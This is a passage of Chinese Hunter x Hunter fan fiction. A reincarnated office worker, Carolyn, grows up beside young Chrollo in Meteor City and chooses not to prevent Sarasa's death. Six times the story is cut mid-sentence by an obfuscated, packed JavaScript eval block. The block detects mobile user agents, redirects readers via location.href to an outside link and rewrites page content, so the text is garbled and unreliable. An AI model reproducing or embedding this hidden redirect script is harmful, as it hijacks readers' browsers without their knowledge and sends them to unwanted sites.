换了别的天才小孩,被一个黏人的不怎么聪明的跟班这样抱怨,大概早就烦了。但库洛洛不会。他总是这样,耐心地温和地带着一点无奈地回应她的每一次撒娇,每一次靠近,每一次“库洛洛~”的拖长音。 她上辈子活了二十八年,从来没有在任何天才身上得到过这种待遇。真正的天才,从来不缺讨好他们的人。你释放善意,别人也释放善意,你的善意凭什么特别?你的喜欢,和别人的喜欢,对天才来说有什么区别?没有任何区别。你只是人群中的一张脸,淹没在无数张脸里,无声无息,无足轻重。 你的善意不值钱,你的喜欢也不值钱。你拼命想靠近的样子,在别人眼里,可能只是好笑。 但现在完全不一样。 库洛洛没有把她的善意当成理所当然,没有把她的喜欢当成可有可无。他可能都不知道她的善意和喜欢里藏着那么多阴暗的功利的,拿他当安全网的小心思。 卡洛琳把头靠在库洛洛肩膀上,闭上眼睛,嘴角弯起来的弧度,连她自己都没意识到。 侠客蹲在旁边,歪着头看了看卡洛琳,又看了看库洛洛,露出一个意味深长的笑。他没有说什么,只是把那台修好的通讯器调到一个有音乐的频道,然后把音量调小了一点,放在三个人中间。 沙沙的电流声里,隐约传来一首老歌。不知道是谁唱的,不知道是什么语言,旋律很慢,像风吹过空旷的原野。 7. 请不要抛下我 事情的起因,是一句再普通不过的话。 那天下午,卡洛琳在教堂帮神父整理书架。立佐尔神父年纪不小了,头发花白,背微微驼着,但手脚还算利索。他从架子上取下一本厚重的旧书,吹掉封面上的灰,翻开看了几页,然后随口讲解了一下这段话的历史背景和神学含义。 卡洛琳站在梯子上,手里拿着一本书正要塞进顶层书架,听了这段话,随口回应。 “神父,你好厉害啊,懂得好多知识。” 立佐尔神父笑了笑。他笑起来的时候,脸上的皱纹像干裂的河床一样深深浅浅地挤在一起,但那双眼睛却很亮,是一种很温和的像冬天炉火一样的亮。 “那当然了,”立佐尔语气里没有一丝炫耀或傲慢,只是在陈述一件再普通不过的事情,“不变得强大的话,就不能帮助他人啊。” 卡洛琳的手停在半空中,忽然觉得有什么东西在她脑子里炸开了。 不变得强大的话,就不能帮助他人啊……为什么会说出这种话呢? 这句话在她的脑海里反复回荡,像一颗石子丢进了深潭,涟漪一圈一圈地扩散,碰壁,又荡回来。 强大的人不应该高高在上吗? 强大是为了什么?强大是为了比别人强。考更高的分,上更好的学校,找更好的工作,赚更多的钱,买更大的房子,开更好的车。强大是为了赢,赢过别人,站在上面,让其他人仰望你。强大是一种特权,是一种你可以踩在别人头上的资格。弱肉强食,优胜劣汰,社会达尔文主义,这些都是她刻进骨子里的道理。 强大的人高高在上。 强大的人不会回头看你。 强大的人会用你的失败来证明自己的成功,会用你的平庸来衬托自己的卓越。你不够强,所以你不配。你被淘汰了,是因为你不够努力。别怪别人,怪你自己。 这些话没有人明着说,但它们藏在每一次排名的公布里,藏在每一次晋升的决定里,藏在每一句“你再努力一点”的暗示里。它们是空气,是水,是无处不在的背景噪音,渗透进每一个人的骨髓里,让你觉得这个世界就是这样的。强者通吃,弱者认命。天经地义。 她见过太多人,一旦变得强大,就再也不回头看那些还在泥泞里挣扎的人。他们谈论“个人奋斗”“优胜劣汰”“适者生存”,言下之意是,你弱,你活该。 她接受的,被灌输的,刻进骨头里的一切都在告诉她:强大是一种特权。不是你有了强大之后去帮助别人,而是你比别人强大,所以你配得上更好的东西。这是世界的规则,天经地义,亘古不变。 为什么这个住在流星街的花白头发的背都直不起来的老神父,用一种最平常最理所当然的语气告诉她:强大是为了帮助别人。 卡洛琳从梯子上下来了。她把书放在桌子上,说了一句“神父我有点不舒服先走了”,然后头也不回地走出去,因为再待下去,她的情绪一定会失控的。 她的脚步是稳的,表情是正常的,但她的脑子里一片空白,像一个被格式化了硬盘,所有的数据都被清空,只剩下那一句话在空荡荡的盘符里反复弹跳。 不变得强大的话,就不能帮助他人啊。 她在教堂外面的台阶上坐了一会儿。天色还早,太阳挂在天边,不温不火地照着流星街灰扑扑的街道。远处有几个孩子在追逐打闹,笑声尖锐而刺耳。 卡洛琳看着那些孩子,脑子里忽然闪现出一些上辈子的画面。 那个在会议上笑着否定她方案的领导。那个在她连续加班一个月后说“年轻人要多锻炼”的前辈。那个因为她请了一天病假就在群里@她问“方案什么时候能交”的同事。 她想起地铁里那些疲惫的空洞的像丧尸一样面无表情的脸。包括她自己。她也曾经是那样一张脸。在地铁车厢里被别人挤来挤去,互相推搡,没有人说对不起,因为没有人觉得自己有义务对陌生人礼貌。 这个社会教给她的是:你要往上爬。踩别人也好,挤别人也好,把自己磨成一把刀也好,你要往上爬。只有爬到上面,你才能安全。只有变得强大,你才不会被伤害。 卡洛琳把脸埋进膝盖里。 她忽然觉得自己上辈子活得真可笑。她拼命想变强,不是为了帮助任何人,甚至不是为了自己,她只是害怕。害怕被淘汰,害怕掉队,害怕成为那个被剩下的人。她所有的努力,所有的焦虑,所有的不甘心,都源于一个最简单的动机:恐惧。 库洛洛找到卡洛琳的时候,她已经在那里坐了很久了。 她没有哭出声,但是肩膀一耸一耸的,深棕色的短发乱糟糟地垂下来遮住了脸。 库洛洛站了一会,然后走过去,在卡洛琳旁边坐下来。卡洛琳感觉到身边多了个人,肩膀抖了一下,但没有抬头。 沉默持续了一会儿。 库洛洛想了想,从口袋里掏出一样东西,放在卡洛琳的膝盖上。 是一颗糖。教堂发的,最普通的那种水果硬糖,透明的包装纸已经被他口袋里的温度捂得有点软了。 卡洛琳的手指动了一下,没有去拿。 库洛洛开始觉得有点慌了。库洛洛·鲁西鲁,六岁,刚刚修好了一台通讯器,能读懂古文明史的生僻字,能把复杂概念拆解成最小单元,但他不知道该怎么让一个女孩子不哭。 他转过头,认真地仔细地看着卡洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523306|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳。 她哭了很久了,眼睛红红的,鼻尖也红红的,脸上全是乱七八糟的泪痕。她平时那双总是弯弯的笑眯眯的眼睛,此刻像两盏快要熄灭的灯。 库洛洛觉得胸口有什么东西被揪了一下。他说不出那是什么感觉。是一种……很陌生的让他想做点什么但又不知道该做什么的……无措。 “卡洛琳。”库洛洛小心翼翼地叫她。 卡洛琳没有应。 “卡洛琳。”库洛洛又叫了一声,声音比平时轻,像是怕吓到她。 卡洛琳终于抬起了头。她的眼睛湿漉漉的,瞳孔里映着库洛洛的脸,光线下显得格外大,格外亮,也格外的没有安全感。 库洛洛从来没有在卡洛琳眼睛里见过这种脆弱。卡洛琳在他面前永远是笑着的闹着的黏黏糊糊地撒娇的。 但此刻,那双眼睛里所有的笑意都碎了,像一面镜子从高处摔下来,碎成了无数个小小的尖尖的会扎手的碎片。 “库洛洛。”卡洛琳的声音涩涩的,像嗓子里卡了什么东西。 “嗯。” “你不会抛下我的吧?” “你不会丢下我的吧?”卡洛琳又问了一遍。声音在抖,嘴唇在抖,连睫毛都在抖。她看起来像一只被暴风雨淋湿的小动物,站在一个完全不安全的随时可能被冲走的地方,拼命地想要抓住什么。 库洛洛嘴巴开合了一下,心跳鼓噪地很,一时间不知道该怎么回应。他不太懂被抛下是什么意思,又不是在垃圾场迷路了,他为什么要抛下她?她每天都跟在他后面,就像他的影子一样。谁会丢掉自己的影子呢? 但库洛洛看着她那双又红又肿的眼睛,看着她脸上还没干的泪痕,看着她拼命忍住不哭出来但实际上已经快要决堤的样子。 库洛洛用那种很轻很轻的像怕惊动什么似的语气说:“怎么会抛下卡洛琳呢。” 那语气就好像卡洛琳问了一个很奇怪的问题,比如“太阳明天还会升起来吗”,而答案是那么显而易见,根本不需要解释。 卡洛琳的眼泪终于决堤了。 不是之前那种无声的压抑的流泪,而是真正的小孩子式的毫无形象可言的嚎啕大哭。她扑过去一把抱住库洛洛,把脸埋进他的肩膀里,哭得浑身都在发抖。鼻涕眼泪糊了他一肩膀,哭声大得路过的几个大孩子都停下来看。 库洛洛僵住了。 他不习惯被这样紧紧抱住。流星街的人不这样拥抱。但卡洛琳抱得很紧,紧到他能感觉到她心脏在胸腔里猛烈地跳动,像一个被困在笼子里的小兽在用尽全力撞击栏杆。 他僵了几秒钟,然后慢慢地有些笨拙地抬起手,放在卡洛琳的背上。 8. 冰冷的现实 消息是奶妈带来的。 傍晚,卡洛琳正在宿舍里帮几个更小的孩子补衣服。针是铁皮上敲出来的,线是从旧布料上一根根拆下来的,补出来的针脚歪歪扭扭,但总比破着穿强。 奶妈推门进来的时候脸色不对。 “这几天傍晚不要一个人出门,”她的声音压得很低,不可抑制地透露出担忧,“东区那边又少了一个孩子。六岁的男孩,昨天晚上还在,今天早上就不见了。” 安静了一瞬。 卡洛琳手里的针顿了一下,然后继续穿过去,拉出来,穿过去,拉出来。她的表情没有变化,甚至嘴角还保持着刚才哼歌时微微上翘的弧度。但她手上的动作变了,变得更快更密更用力,像是在用针脚缝住什么东西。 “又”少了一个。 流星街每年都有孩子消失。不是因为饿死或者病死,那些会留下尸体。外面世界的某些人,把流星街当成免费的猎场。这里的孩子没有身份,没有父母,没有人为他们的失踪报警。他们从这个世界消失,就像被风吹走的一粒灰,无声无息,干干净净。 没人会找。 没人能找。 卡洛琳把补好的衣服叠好,放在床边,站起来伸了个懒腰。她脸上还是那副懒洋洋的没心没肺的表情,但脑子里有一个开关被啪嗒一声拨动了。 软弱的情绪,不安的哭泣,靠在库洛洛肩膀上问“你不会抛下我吧”的那个自己。 收起来。 全部收起来。 卡洛琳在心里对自己说:你在想什么?这可是流星街。 昨天的眼泪还挂在脸上没干透,今天就有孩子被拐走了。这个世界不会因为你哭了一场就变得温柔,不会因为你不安就给你安全感,不会因为你害怕那些可怕的事情就不发生。流星街偶尔会有温馨的小事,但这些是浮在水面上的花瓣,水底下是黑的冷的不知道有多深的暗流。 温馨是真的,残酷也是真的。而且残酷永远比温馨更有力量。 卡洛琳走出宿舍,在走廊上站了一会儿。她看着远处灰蒙蒙的天际线,想起了一些她刻意让自己忘记的事情。 她不是这个世界的人。她看过《全职猎人》,知道流星街的设定。她知道外面世界的人把流星街当作垃圾场,这里的居民不被当做人因此可以做任何事情。 她穿越来的时候,最初的那股隐秘的开心,不就是因为知道库洛洛以后会变得很强吗?不就是因为知道旅团会成为谁都不敢招惹的存在吗?不就是因为她想要一张安全网,而库洛洛就是那张安全网吗? 卡洛琳靠在走廊的柱子上,闭上眼睛,在脑子里把自己从穿越到现在做过的所有事情重新审视了一遍。 她帮神父整理物资。因为在流星街,被一个成年人,尤其是掌握物资分配权的成年人喜欢,是一件很划算的事情。 她给窝金带零食。不是因为喜欢窝金,是因为窝金是旅团未来的核心成员,而和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523307|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅团核心成员搞好关系永远不会错。何况这件事只是顺手,付出的成本几乎为零。 她和派克、玛奇、侠客都保持不错的关系,是因为她知道这些人以后都会成为幻影旅团的成员。旅团是一个极其紧密的团体,彼此之间的信任深得像海。如果她想真正进入那个圈子,就不能只认识库洛洛一个人。 她对库洛洛好。 撒娇也好夸奖也好黏着也好,她把自己能给出的善意,毫无保留地不设防地甚至有些厚脸皮地全部堆在了库洛洛面前。 库洛洛不是那种对所有人都一视同仁的好人。他对自己认可的人和对其他人,是完全不一样的。他会为旅团的成员豁出命去,而对不相干的人,他连眼睛都不会眨一下。 库洛洛身边的人很多。但同伴和同伴之间,也有远近亲疏。 卡洛琳想要更多的喜爱。不是普通的泛泛的对待同伴的喜爱。是那种“她不一样”的喜爱。 卡洛琳睁开眼睛,眼底是冰冷的务实。 她想,自己真是一个很俗的人。穿越到了漫画世界,没有金手指,没有系统,没有特殊能力,连念能力都不知道能不能学会。她有的只是:对剧情的了解,成年人的心智和一个未来大佬的青梅竹马身份。 而库洛洛太聪明了,算计他一眼就能看穿。她要用最笨的办法:真诚地持续地不设防地对他好,好到成为他习惯的一部分,好到他在考虑谁更重要的时候,她的名字会第一个浮上来。 9. 没有改变的悲剧 萨拉萨失踪的消息已经传遍了流星街 卡洛琳作为穿越者没理由不知道萨拉萨。因为在旅团的背景故事里,这个叫萨拉萨的女孩被杀害肢解,而这件事是旅团成立的关键导火索。 萨拉萨死了,然后幻影旅团诞生了。 卡洛琳当然可以救萨拉萨。 但是然后呢? 萨拉萨活下来了,那然后呢? 可能还会有另一个孩子失踪。不会叫萨拉萨,但会叫别的名字。总会有一个孩子。总会有一件事。总会有一个瞬间,让库洛洛和其他人意识到,在这个地方,善良是没用的,现有法律无法惩戒那些罪犯,只有力量才是唯一的真理。 萨拉萨不死,也会有别人死。 卡洛琳想到这里,心里有一个很轻很轻的不舒服,像一根细针在皮肤上浅浅地扎了一下。但也就那么一下而已,就像水面泛起的涟漪很快就会消散。 她早就做好了决定。 她不是什么救世主。她没有能力改变整个流星街的结构性问题,没有能力对抗外面世界那些拐卖儿童的黑色产业链,更没有能力让这个被全世界抛弃的地方变得光鲜亮丽、人人安居乐业。她连自己上辈子的生活都改变不了,她凭什么觉得换了一个世界就能变成救世主? 她只是一个普通人。 一个自私的想要活下去的想要在这个残酷世界里找到一点点安全感的普通人。 所以她的选择很明确:不改变剧情。让应该发生的事情发生。这样她知道会发生什么,她知道库洛洛会成立幻影旅团,知道旅团会变成A级罪犯,知道他们每个人会走上什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523308|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样的道路。 这些知道,是她在这个世界里唯一的金手指。 很小,很微不足道,不值得骄傲,甚至不值得说出口。 但这是她手里全部的牌。 卡洛琳和其他人一起去找萨拉萨。 流星街的早晨灰蒙蒙的,空气里混着垃圾的酸腐味和远处焚烧物的焦糊味。十几个孩子分散开来,沿着东边的方向一路找过去。有人在喊萨拉萨的名字,声音在空旷的废墟间回荡。卡洛琳也跟着喊,嗓音清脆,一声一声的,喊得很认真。 但她知道萨拉萨已经死了,因为原作就是这么画的,剧情就是这么写的。 但她会假装不知道。因为她现在需要的,就是表现得像一个正常的热心的女孩。 只有这样,才不会有人觉得她奇怪。 10. 童年结束了 卡洛琳避开了库洛洛一行人,因为她知道库洛洛他们会找到萨拉萨。她不知道具体的位置,但她知道结果——会被找到。而找到的时候,萨拉萨已经不会是一个失踪的孩子了。她会是一个被发现的尸块。 卡洛琳不想看到那个画面。 因为一旦她看到了,她就再也无法用“我知道萨拉萨已经死了”这种轻飘飘的抽离的仿佛在看漫画翻页一样的心态来面对这件事。她会看到一个具体的有名字的曾经会笑会跑会扎两个辫子的女孩,变成一具不会动的冰冷的被这个世界粗暴对待过的残骸。 而她什么都不会做。 她没有打算救萨拉萨,没有打算改变任何事情,也没有打算在萨拉萨死后做出任何超出正常反应的举动。她会像流星街任何一个普通的孩子一样,表现出适当的难过,适当的沮丧,适当的对失踪同伴的关心,但不会多一分,也不会少一分。 但如果她亲眼看到了萨拉萨的尸体,她还能保持这份恰到好处的精确计算的适当吗? 卡洛琳不确定。 所以她没有去。 她要留在这里,坐在这张硬邦邦的床板上,双手放在膝盖上,等。 不是等萨拉萨回来,她知道萨拉萨不会回来。 是等库洛洛回来。 库洛洛是在天完全黑透之后回来的。 卡洛琳没有点灯。煤油灯里的油不多了,而她没有力气去储藏室领新的。她只是坐在黑暗里,听着外面的风声以及垃圾山上不知道什么东西燃烧时发出的噼啪声。 门被推开的时候,月光照进来,在地面上切出一个窄窄的歪歪扭扭的光斑。库洛洛站在门口,逆着光,卡洛琳看不清他的表情,但能看到他的轮廓。他的肩膀比平时绷得更紧,站姿也比平时更直,那种强撑着的像一根被拉得太紧的弦的那种直。 库洛洛什么都没说,卡洛琳也没说。 卡洛琳从床板上站起来,走到门口,拉过库洛洛的手。他的手很凉,流星街的夜晚从来不暖和,但今天他的手好像比平时更凉一些,指尖像冰块。她没有多说什么,只是牵着他走进房间,让他坐在床沿上,刚才她坐的那个位置,坐垫还带着她的体温。 库洛洛坐下来了。 他低着头,黑色的头发垂下来挡住了大半张脸。月光从门口的缝隙里漏进来,只能照到他的膝盖,照不到他的眼睛。卡洛琳蹲下来,仰头看了他一眼,然后站起来,从屋角的小筐里拿出那条最薄的毯子,披在库洛洛肩膀上。 库洛洛没有动。 他坐在那里,像一尊小小的雕塑,月光照不到他的脸,但卡洛琳能看到他的睫毛在微微颤动,频率太快了,快得像有什么东西在眼眶里打转但他拼命不让它落下来。 卡洛琳恍惚地想,这就是库洛洛。 这就是以后会成为幻影旅团团长的库洛洛。会让无数人恐惧、让整个黑暗世界闻风丧胆,被列为A级危险人物的库洛洛·鲁西鲁。他会盗取无数念能力,会制定精密到令人发指的计划,会为达目的不择手段。 他的名字会成为一个符号,代表着力量、危险、不可触碰。 但是现在,他只是一个亲眼看到了同伴尸体的小男孩。他的手指还是冰凉的,他的肩膀还在微微发抖,幅度很小,小到如果不仔细看根本看不出来。但他的背挺得很直,下巴抬得很平,嘴唇抿成一条线,没有任何一个音节从他嘴里漏出来。 他失去了同伴。 卡洛琳伸手握住了库洛洛放在膝盖上的手。那双手很小,手指细长,骨节分明,指尖冰凉。卡洛琳没有说话,只是握着,用自己手心的温度一点一点地把那些冰凉捂暖。 但库洛洛是不一样的。 他的失去,会变成一种燃料。库洛洛不会缩进壳里。他会把这种失去烧掉,转化为一种巨大的惊人的让整个世界都为之颤抖的力量。他会为萨拉萨报仇,流星街没有法律,没有警察,没有法院。所以库洛洛会用自己的方式,让那些人对做过的事情付出代价。不止是对害死萨拉萨的人,而是对所有轻视流星街的人,所有把这里当成猎场的人,所有觉得这里的孩子可以随意处置的人。 库洛洛会让他们知道,流星街不是他们的猎场。流星街是一把刀,而他就是那把刀最锋利的刃。 然后呢?那种刻进骨头里的代代相传的会让一个人在动手前三思而后行的恐惧。 这就够了。 在流星街,这就够了,甚至太多。卡洛琳知道,库洛洛能做到。他一定能做到。因为他不是普通人,他是库洛洛·鲁西鲁。 卡洛琳握着库洛洛的手,脑子里忽然闪过一个念头—— 上辈子,她死了。 死在工位上,死在凌晨两点。死在最后一个念头是需求文档还没写完的荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523309|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谬中。 然后呢? 然后什么也没有。 没有人去为她讨个说法,没有人去为她报仇。她的父母会接到一个电话,会拿到一笔赔偿。也许她的同事会在微信群里发一句“太突然了,一路走好”,也许她的领导会说“我们会安排好后续事宜”,也许她的工位会在第二天被清空,新的实习生坐在那里,用同一个马克杯喝同一牌子的速溶咖啡。 然后就没有然后了。 一个人死了,世界继续转。不会有人把这件事放在心上超过一个礼拜。不会有一个库洛洛为她去对抗那个让她累死的系统,不会有一个旅团为她去讨回公道,不会有任何人因为她死了而改变自己的轨迹。 她就像一颗石子被丢进大海,扑通一声,涟漪散开,然后海面恢复平静,好像什么都没有发生过。 卡洛琳觉得胸口有点酸。 不是嫉妒萨拉萨,萨拉萨已经死了,嫉妒一个死人没有意义。是嫉妒库洛洛有能力做到这些事。 如果不是知道剧情,恐怕自己在发觉流星街处境的时候就会陷入无休止的绝望之中了。 卡洛琳坐直了身体,转头看着库洛洛。他还是维持着那个姿势,低着头,睫毛微微颤着,肩膀上的毯子滑下来一截,露出瘦削的肩胛骨。 卡洛琳伸出手,轻轻地慢慢地把毯子重新拉上来,裹住他的肩膀。 然后她做了今晚唯一一件她觉得能做的事情。 她微微侧过身,双手环过库洛洛的肩膀,把他抱住了。她的下巴抵在库洛洛的肩膀上,脸颊贴着他的颈侧,能感觉到他的脉搏在皮肤下面跳动,有点快,但很稳。 然后她抬起手,轻轻地一下一下地拍着他的背。他现在一定很不知所措,因为残酷的现实第一次这么血淋淋地呈现在眼前,知道和亲自体验是完全不同的两件事。 过了很久。 也许是几分钟,也许是更久。库洛洛的身体一点一点地松了下来。他的头微微偏向卡洛琳的方向,呼吸变得更深、更慢,像是终于允许自己从紧绷的状态里释放出来一点点。 然后,卡洛琳在库洛洛的额头上轻轻地飞快地落了一吻。像一片羽毛掉在湖面上,轻到几乎感觉不到,但湖面还是动了。 库洛洛的身体轻轻颤抖着,但他还是没哭,毕竟那可是库洛洛啊。 “睡吧,库洛洛。” 11. 库洛洛的觉悟 萨拉萨葬礼结束后,孩子们陆陆续续散了。派克红着眼眶走了,玛奇追上了莲子小姐,侠客低着头踢着脚下的石子,窝金一拳砸在墙上,把墙皮砸下来一块。 从那一天起,库洛洛就不再爱笑了。 也不是完全不笑。如果卡洛琳像往常一样撒娇说“库洛洛你看我呀”,他也会配合地动一动表情。但他的笑不再到眼睛了。 以前库洛洛笑起来的时候,眼睛会弯成两道浅浅的月牙,瞳孔里有光,像碎了的星星掉进了深色的湖水里。就算他努力板着脸,眼睛也会出卖他。卡洛琳最喜欢那种笑,每次看到都觉得心脏被一只软乎乎的小手轻轻捏了一下。 现在没有了,以后也不会有了。 库洛洛变得严肃,变得认真,变得不再是库洛洛了。 卡洛琳知道他在做什么。 为了不让流星街出现萨拉萨这样的牺牲者而献出人生的觉悟。 卡洛琳知道代价是什么。 库洛洛会杀人。会杀很多人。多到他的手上永远洗不干净,多到他的名字变成一个诅咒,多到那些被他杀过的人的家属在深夜里念出“库洛洛·鲁西鲁”这几个音节时,会咬碎牙齿。 而卡洛琳上辈子活了二十八年,最大的觉悟不过是“明天再加班我就找份新工作”,然后第二天还是老老实实去上班了,因为她知道辞了职就没有收入,没有收入就活不下去。她的觉悟永远停留在生存层面,再往上就不会了。 为了别人而奉献自己人生这种事,她上辈子想都没有想过。她连自己的时间都奉献给资本家了,哪来的余力奉献给别人?杀掉很多人这种事,她更不敢想。她连杀鸡都不敢看,你让她杀人? 这就是为什么她上辈子会猝死在工位上。 她只有“再忍忍”“再坚持一下”“马上就好了”的觉悟,而这种觉悟,本质上不是觉悟,是妥协。是对不合理的事情说“好的”,是对不公平的事情说“没关系”,是对伤害自己的事情说“这也是没办法的事”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523310|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡洛琳照常陪在库洛洛身边。她没有问库洛洛在想什么。库洛洛也没有告诉她。 卡洛琳知道库洛洛在计划什么,但她不问。因为她问了,库洛洛就会说,而她不确定自己能不能承受他的答案。 只是一个平常的午后。 “库洛洛。” 卡洛琳知道分别在即,因为库洛洛会去做他要做的事情,真奇怪,自己明明知道库洛洛会杀掉很多人,却对此没有任何不适,卡洛琳把这归结于接受事实。 “嗯。” “你最近都不笑了。” “……有吗?” “有。”卡洛琳没有再说什么,把脸蹭了蹭他的肩膀,闭上了眼睛。 库洛洛翻过一页书,用只有自己能听见的声音,轻声说了一句:“会笑的。” 等到他足够强。等到流星街不再有人敢来碰,等到他把所有威胁都清除干净。 到时候,他会重新学会笑的。 如果有那一天的话。 12. 假装不知道的卡洛琳 卡洛琳其实什么都知道。 她知道库洛洛最近和侠客在一起的时间越来越长。两个人躲在录音室里,门关得严严实实的,有时候一待就是一整个下午。她知道他们在讨论什么,一些不能让别人听到的事情。 她也察觉到派克最近看她的眼神不太一样了。不是冷漠疏离,是那种你不知道也好的眼神,带着一点说不上是保护还是疏远的距离感。 派克知道些什么,但她不会说,因为她觉得卡洛琳不需要知道。 她也知道玛奇最近不见了,因为她要去找莲子小姐学习念能力。 她知道所有人都在做准备。 为了复仇。 为了不再有下一个萨拉萨。 为了建造一个让外面世界不敢再碰流星街的屏障。 她都知道,但是没有人告诉她。 卡洛琳坐在教堂的台阶上,手里捧着一杯早就凉透了的水,看着远处库洛洛和侠客并肩走进录音室的背影。门在她们身后关上了,发出沉闷的响声。那个声音像一把锁,咔嗒一声,把她锁在了外面。 她没有站起来跟过去。以前她会跟过去的。但现在不一样了。不是因为库洛洛不让进,是她自己没有再推门。 因为她知道里面在说什么。而她不认为自己有资格听。 卡洛琳把凉透了的水放在台阶上,看着水面上的倒影。风把水面吹皱了,她的脸在里面碎成无数块,拼不出一个完整的表情。 她看过漫画。 她知道接下来会发生什么。库洛洛他们会成立幻影旅团,会去杀那些害死萨拉萨的人,会让自己从受害者变成加害者。她知道那个过程会很血腥很残酷,会让他们的手上沾满永远洗不掉的鲜血。 她也知道自己不会参与其中。 不想杀人,不想看到血。不想在深夜里做噩梦,梦到那些被她杀死的人的脸。 但是其他人可以,不是因为他们天生冷血,是因为他们有一种卡洛琳没有的东西——觉悟。 为萨拉萨报仇的觉悟。为了让流星街不再出现下一个萨拉萨而奉献自己人生的觉悟。杀很多人背很多债下地狱也无所谓的觉悟。 卡洛琳没有这种觉悟。她上辈子没有,这辈子也不会有。 而且自己凭什么觉得自己有资格加入旅团? 旅团需要的是什么样的人?强大的,聪明的,有觉悟的,不怕死的,必要的时候可以毫不犹豫地扣下扳机的。 自己能干什么?帮忙叠衣服?帮忙分罐头?帮神父整理书架?这些事情随便哪个孩子都能做,不需要一个专门的卡洛琳来负责。 她有智慧吗?没有。她的聪明是成年人的经验优势,是作弊来的。等侠客长到十五岁,甚至不需要那么久,她那点可怜的智力储备就会被碾压得渣都不剩。她现在还能装作不错,是因为她提前跑了,但天赋这种东西从来不是靠提前跑就能赢的。 她有力量吗?没有。她的身体素质在流星街的孩子里只能算中等,不是窝金那种天生怪力,也没有玛奇那种天生的敏锐。 她敢杀人吗?不敢。她连想都不敢想。光是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523311|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子里模拟一下拿刀对着一个活人的画面,她的手就会开始抖。 一个没有智慧,没有力量,没有杀人觉悟的人,加入旅团能干什么?拖后腿,只能拖后腿。 卡洛琳想,也许这就是库洛洛不告诉她的原因。 不是因为保护她,是因为没有必要。 告诉一个不会参与计划的人有什么意义呢?告诉一个不具备杀人觉悟的人有什么意义呢?告诉她只会让她担心,只会让她问东问西,只会让她在旁边碍手碍脚。 与其这样,不如什么都不说。 卡洛琳已经不想再思考了,因为有些事情想了也没用,她已经做了自己能做的了,卡洛琳有时候会扭曲地想其实自己算是幸运的,自己没有穿越到蚂蚁篇成为那些数以百万的牺牲者之一,也没有到揍敌客家族,那种杀手家族绝不会容许自己的孩子有这种软弱的心思,等等,这样想太乐观了,为什么自己不是成为随时会被牺牲也没关系的管家呢?更没有穿越到卡金那种养蛊一样的地狱难度副本…… 就这样漫无目的地想着,卡洛琳突然意识到了一个极其地狱笑话的点。 在这个犹如粪坑一样的世界,降生在被世界所遗弃的流星街,结识未来会犯下累累罪行的幻影旅团,居然是一条可以被容许软弱也没关系的相对轻松的道路。 背负着所有罪孽而死的耶稣基督…… 